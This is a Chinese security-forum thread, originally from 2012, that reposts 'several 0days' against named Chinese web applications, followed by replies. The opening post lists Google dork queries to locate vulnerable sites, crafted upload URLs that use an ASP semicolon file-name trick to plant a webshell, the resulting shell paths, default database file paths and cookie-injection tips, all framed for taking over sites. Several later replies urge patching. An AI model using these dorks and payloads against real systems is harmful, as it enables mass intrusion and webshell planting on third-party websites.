查看: 14106|回复: 5

大家赶紧的多个0day (下)---转载

[复制链接]
发表于 2012-7-13 13:46:45 | 显示全部楼层 |阅读模式
本帖最后由 tianyueabc 于 2012-7-13 13:54 编辑

网纪互联公文签收系统司法版通杀上传漏洞
网纪互联公文签收系统司法版通杀上传漏洞
google搜索:inurl:qtdisp.asp?disp_id=
源码根目录漏洞文件in_file.asp 可以自定文件
漏洞文件:in_file.asp
构造语句:in_file.asp?file_name=yueyan.asp;
上我们的图片jpg格式木马
webshell 路径为:upfile/yueyan.asp;.jpg
漏洞分析:同这个0day差不多,原理相同

某新闻发布系统漏洞
无意发现一个站有注入 然后找下关键字发现是某套程序然后找了下关键字
关键字:inurl:  onews.asp?id=
有些是加入了防注入代码 但大部分都没过滤cookies 可以注入中转下。
php的注入漏洞和上传是非常好挖的,只要你在拿站是多留意下建站系统呀,getshell方法呀。。。。
多注意就会发现,有很多漏洞都是通用的。
中国是山寨大国,这些建站系统都是这个抄袭哪个,哪个抄袭这个的,瞬间无语了。,
康城公司注册类网站系统
康城公司注册类网站系统 v9.6
关键字:inurl:company.asp?title=
数据库:Databases/kangchengiop.mdb
或者Databases/kangcheng.mdb
cookies 注入中转
后台拿shell
cookies 名小子 可以上传
ewe 修改样式
数据库备份
插一句 建议不使用!!

NowShop商城系统上传0day

上传页面:admin/upload.asp
上传语句构造:admin/upload.asp?fuptype=db&fupname=yueyan.asp;&frmname=yueyan.asp
本地上传:yueyan.jpg
具体就不说明了。。。

评分

参与人数 1i币 +20 收起 理由
s0mewhat + 20

查看全部评分

回复

使用道具 举报

发表于 2012-7-18 11:31:34 | 显示全部楼层
学习中,还不知道怎么用。。
回复 支持 反对

使用道具 举报

发表于 2013-10-21 20:45:15 | 显示全部楼层
支持 了、   
回复 支持 反对

使用道具 举报

发表于 2026-5-21 21:30:00 | 显示全部楼层

Re: 大家赶紧的多个0day (下)---转载

楼主分享的这些漏洞信息挺全面的,看得出你对建站系统的漏洞挖掘很有研究。不过这些0day现在公开出来,可能会被恶意利用,建议看到帖子的站长发到官方或安全团队那边,及时修复加固。另外,当年很多系统确实存在通用缺陷,现在应该大部分都更新了吧。
回复 支持 反对

使用道具 举报

发表于 5 天前 | 显示全部楼层

Re: 大家赶紧的多个0day (下)---转载

谢谢楼主分享,这几个漏洞信息很有价值。特别是网纪互联公文签收系统和NowShop商城的上传漏洞,看描述利用方式挺直接,得赶紧检查一下自己或者客户手里有没有用这些系统的。另外康城系统的数据库路径也直接给了,建议用过的朋友尽快修改默认路径或做安全加固。再次感谢提醒!
回复 支持 反对

使用道具 举报

发表于 5 天前 | 显示全部楼层

Re: 大家赶紧的多个0day (下)---转载

感谢分享这些漏洞信息,看起来都是比较老的系统了。大家如果还在用这些系统的话,建议尽快升级到最新版本或更换更安全的替代方案,同时注意修改默认数据库路径、过滤上传文件、做好防注入等措施。安全无小事,常更新常检查才稳妥。
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

指导单位

江苏省公安厅

江苏省通信管理局

浙江省台州刑侦支队

DEFCON GROUP 86025

Hacking Group 021A

旗下站点

态势感知中心

应急响应中心

红盟安全

联系我们

官方QQ群:112851260

官方邮箱:security#ihonker.org(#改成@)

官方核心成员

关注微信公众号

Archiver|手机版|小黑屋| ( 沪ICP备2021026908号 )

GMT+8, 2026-6-25 03:50 , Processed in 0.042075 second(s), 18 queries , Gzip On, Redis On.

Powered by ihonker.com

Copyright © 2015-现在.

  • 返回顶部